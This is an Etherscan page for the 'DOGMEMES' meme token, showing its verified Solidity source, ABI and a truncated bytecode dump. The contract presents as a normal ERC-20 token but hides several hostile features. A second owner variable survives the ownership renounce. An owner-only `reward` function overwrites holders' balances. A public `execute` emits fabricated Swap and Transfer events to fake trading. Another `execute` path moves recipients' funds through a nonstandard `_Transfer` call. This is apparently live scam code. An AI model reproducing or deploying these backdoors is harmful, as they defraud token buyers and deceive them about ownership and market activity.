ETH Price: $2,493.17 (-0.44%)

Token

DogeShibaFlokiDogelonKishuBonkVoltSamoyedPitbullVi... (DOGMEMES)
 

Overview

Max Total Supply

69,000,000 DOGMEMES

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
mumbaicryptoexchange.eth
Balance
0.000000032451250039 DOGMEMES

Value
$0.00
0xF6C887fFb4a0c846BB012D431b86c585A565d182
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DogMemes

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-13
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract DogMemes {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "DogeShibaFlokiDogelonKishuBonkVoltSamoyedPitbullVitaAkitaDingo";
    string public constant symbol = "DOGMEMES";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 69_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function reward(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a3913517ebd3c0c65000000600955348015620000c7575f80fd5b503360025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000211573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023791906200049b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396305f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e291906200049b565b6040518363ffffffff1660e01b815260040162000301929190620004dc565b6020604051808303815f875af11580156200031e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200034491906200049b565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000428919062000521565b60405180910390a36200053c565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000465826200043a565b9050919050565b620004778162000459565b811462000482575f80fd5b50565b5f8151905062000495816200046c565b92915050565b5f60208284031215620004b357620004b262000436565b5b5f620004c28482850162000485565b91505092915050565b620004d68162000459565b82525050565b5f604082019050620004f15f830185620004cb565b620005006020830184620004cb565b9392505050565b5f819050919050565b6200051b8162000507565b82525050565b5f602082019050620005365f83018462000510565b92915050565b6123c5806200054a5f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a05780639b792a441161006f5780639b792a44146102e0578063a1c617f514610310578063a457c2d71461032c578063a9059cbb1461035c578063dd62ed3e1461038c57610114565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c257610114565b806323b872dd116100e757806323b872dd146101a0578063313ce567146101d057806335d16274146101ee578063395093511461021e57806366d382031461024e57610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806318aee92014610184575b5f80fd5b6101206103bc565b60405161012d9190611581565b60405180910390f35b610150600480360381019061014b919061163f565b6103d8565b60405161015d9190611697565b60405180910390f35b61016e6103ee565b60405161017b91906116bf565b60405180910390f35b61019e60048036038101906101999190611739565b6103f4565b005b6101ba60048036038101906101b591906117aa565b610580565b6040516101c79190611697565b60405180910390f35b6101d86105a2565b6040516101e59190611815565b60405180910390f35b6102086004803603810190610203919061182e565b6105a7565b60405161021591906116bf565b60405180910390f35b6102386004803603810190610233919061163f565b610733565b6040516102459190611697565b60405180910390f35b6102686004803603810190610263919061182e565b610762565b005b610284600480360381019061027f919061182e565b610834565b60405161029191906116bf565b60405180910390f35b6102a261087a565b005b6102ac61094b565b6040516102b99190611868565b60405180910390f35b6102ca610970565b6040516102d79190611581565b60405180910390f35b6102fa60048036038101906102f591906119b9565b6109a9565b6040516103079190611697565b60405180910390f35b61032a60048036038101906103259190611739565b610a8a565b005b6103466004803603810190610341919061163f565b610c11565b6040516103539190611697565b60405180910390f35b6103766004803603810190610371919061163f565b610c7f565b6040516103839190611697565b60405180910390f35b6103a660048036038101906103a19190611a39565b610c95565b6040516103b391906116bf565b60405180910390f35b6040518060600160405280603e8152602001612352603e913981565b5f6103e4338484610d17565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047a90611ac1565b60405180910390fd5b5f5b8484905081101561057957826104c18686848181106104a7576104a6611adf565b5b90506020020160208101906104bc919061182e565b610834565b1115610566575f6104f98686848181106104de576104dd611adf565b5b90506020020160208101906104f3919061182e565b84610eda565b90508060075f88888681811061051257610511611adf565b5b9050602002016020810190610527919061182e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b808061057190611b39565b915050610485565b5050505050565b5f61058c843384610f2a565b610597848484610fb5565b600190509392505050565b601281565b5f805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610614573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106389190611bfc565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e39190611c60565b73ffffffffffffffffffffffffffffffffffffffff161461071457816dffffffffffffffffffffffffffff16610726565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b5f803390506107578185856107488589610c95565b6107529190611c8b565b610d17565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890611d08565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090611d08565b60405180910390fd5b5f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600881526020017f444f474d454d455300000000000000000000000000000000000000000000000081525081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090611ac1565b60405180910390fd5b5f5b8551811015610a7d57610a6a868281518110610a5a57610a59611adf565b5b6020026020010151868686611253565b8080610a7590611b39565b915050610a3b565b5060019050949350505050565b5f5b84849050811015610c0a57848482818110610aaa57610aa9611adf565b5b9050602002016020810190610abf919061182e565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f8087604051610b429493929190611d68565b60405180910390a3848482818110610b5d57610b5c611adf565b5b9050602002016020810190610b72919061182e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bef91906116bf565b60405180910390a38080610c0290611b39565b915050610a8c565b5050505050565b5f803390505f610c218286610c95565b905083811015610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611e1b565b60405180910390fd5b610c738286868403610d17565b60019250505092915050565b5f610c8b338484610fb5565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7c90611ea9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90611f37565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ecd91906116bf565b60405180910390a3505050565b5f610f2260075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361130d565b905092915050565b5f610f358484610c95565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610faf5781811015610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611f9f565b60405180910390fd5b610fae8484848403610d17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a9061202d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611091576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611088906120bb565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90612149565b60405180910390fd5b61111f8183611322565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111a760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548361137f565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161124591906116bf565b60405180910390a350505050565b61125d84846113dc565b611268838386611466565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b68560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b81526004016112c693929190612167565b6020604051808303815f875af11580156112e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130691906121c6565b5050505050565b5f818361131a919061221e565b905092915050565b5f82821115611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d90612298565b60405180910390fd5b5f828461137391906122b6565b90508091505092915050565b5f80828461138d9190611c8b565b9050838110156113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612333565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161145a91906116bf565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516114ea9493929190611d68565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561152e578082015181840152602081019050611513565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611553826114f7565b61155d8185611501565b935061156d818560208601611511565b61157681611539565b840191505092915050565b5f6020820190508181035f8301526115998184611549565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115db826115b2565b9050919050565b6115eb816115d1565b81146115f5575f80fd5b50565b5f81359050611606816115e2565b92915050565b5f819050919050565b61161e8161160c565b8114611628575f80fd5b50565b5f8135905061163981611615565b92915050565b5f8060408385031215611655576116546115aa565b5b5f611662858286016115f8565b92505060206116738582860161162b565b9150509250929050565b5f8115159050919050565b6116918161167d565b82525050565b5f6020820190506116aa5f830184611688565b92915050565b6116b98161160c565b82525050565b5f6020820190506116d25f8301846116b0565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126116f9576116f86116d8565b5b8235905067ffffffffffffffff811115611716576117156116dc565b5b602083019150836020820283011115611732576117316116e0565b5b9250929050565b5f805f8060608587031215611751576117506115aa565b5b5f85013567ffffffffffffffff81111561176e5761176d6115ae565b5b61177a878288016116e4565b9450945050602061178d8782880161162b565b925050604061179e8782880161162b565b91505092959194509250565b5f805f606084860312156117c1576117c06115aa565b5b5f6117ce868287016115f8565b93505060206117df868287016115f8565b92505060406117f08682870161162b565b9150509250925092565b5f60ff82169050919050565b61180f816117fa565b82525050565b5f6020820190506118285f830184611806565b92915050565b5f60208284031215611843576118426115aa565b5b5f611850848285016115f8565b91505092915050565b611862816115d1565b82525050565b5f60208201905061187b5f830184611859565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6118b782611539565b810181811067ffffffffffffffff821117156118d6576118d5611881565b5b80604052505050565b5f6118e86115a1565b90506118f482826118ae565b919050565b5f67ffffffffffffffff82111561191357611912611881565b5b602082029050602081019050919050565b5f611936611931846118f9565b6118df565b90508083825260208201905060208402830185811115611959576119586116e0565b5b835b81811015611982578061196e88826115f8565b84526020840193505060208101905061195b565b5050509392505050565b5f82601f8301126119a05761199f6116d8565b5b81356119b0848260208601611924565b91505092915050565b5f805f80608085870312156119d1576119d06115aa565b5b5f85013567ffffffffffffffff8111156119ee576119ed6115ae565b5b6119fa8782880161198c565b9450506020611a0b8782880161162b565b9350506040611a1c8782880161162b565b9250506060611a2d878288016115f8565b91505092959194509250565b5f8060408385031215611a4f57611a4e6115aa565b5b5f611a5c858286016115f8565b9250506020611a6d858286016115f8565b9150509250929050565b7f43616c6c6572206973206e6f7420746865204f776e65720000000000000000005f82015250565b5f611aab601783611501565b9150611ab682611a77565b602082019050919050565b5f6020820190508181035f830152611ad881611a9f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b438261160c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b7557611b74611b0c565b5b600182019050919050565b5f6dffffffffffffffffffffffffffff82169050919050565b611ba281611b80565b8114611bac575f80fd5b50565b5f81519050611bbd81611b99565b92915050565b5f63ffffffff82169050919050565b611bdb81611bc3565b8114611be5575f80fd5b50565b5f81519050611bf681611bd2565b92915050565b5f805f60608486031215611c1357611c126115aa565b5b5f611c2086828701611baf565b9350506020611c3186828701611baf565b9250506040611c4286828701611be8565b9150509250925092565b5f81519050611c5a816115e2565b92915050565b5f60208284031215611c7557611c746115aa565b5b5f611c8284828501611c4c565b91505092915050565b5f611c958261160c565b9150611ca08361160c565b9250828201905080821115611cb857611cb7611b0c565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611cf2601783611501565b9150611cfd82611cbe565b602082019050919050565b5f6020820190508181035f830152611d1f81611ce6565b9050919050565b5f819050919050565b5f819050919050565b5f611d52611d4d611d4884611d26565b611d2f565b61160c565b9050919050565b611d6281611d38565b82525050565b5f608082019050611d7b5f8301876116b0565b611d886020830186611d59565b611d956040830185611d59565b611da260608301846116b0565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611e05602583611501565b9150611e1082611dab565b604082019050919050565b5f6020820190508181035f830152611e3281611df9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611e93602483611501565b9150611e9e82611e39565b604082019050919050565b5f6020820190508181035f830152611ec081611e87565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f73730000000000000000000000000000000000000000000000000000